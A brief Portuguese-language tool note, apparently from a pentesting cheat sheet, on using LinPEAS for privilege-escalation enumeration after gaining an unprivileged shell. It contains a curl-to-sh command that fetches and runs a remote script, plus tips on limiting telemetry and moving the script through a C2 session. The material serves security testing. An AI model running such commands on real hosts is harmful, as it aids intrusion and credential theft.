LinPEAS

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Script all-in-one de enumeração local: percorre o host Linux procurando vetores de escalonamento (SUID, sudo, capabilities, cron, credenciais em texto claro, configurações expostas) e colore cada achado conforme sua relevância.

Quando você aterrissa em um host Linux com uma shell de usuário sem privilégios e quer um mapa rápido de tudo que vale a pena testar. Eu executo quase sempre no início da pós-exploração: leva alguns minutos e me diz por onde ir, desde binários SUID até variáveis de ambiente com segredos.

Se a operação é delicada, a varredura completa toca muitos arquivos e gera bastante telemetria; melhor usar -s para se limitar a uma seção. Também evite se não puder transferir o script para o host (egress filtrado): então porte-o dentro da sua sessão C2 ou suba apenas as partes que interessam.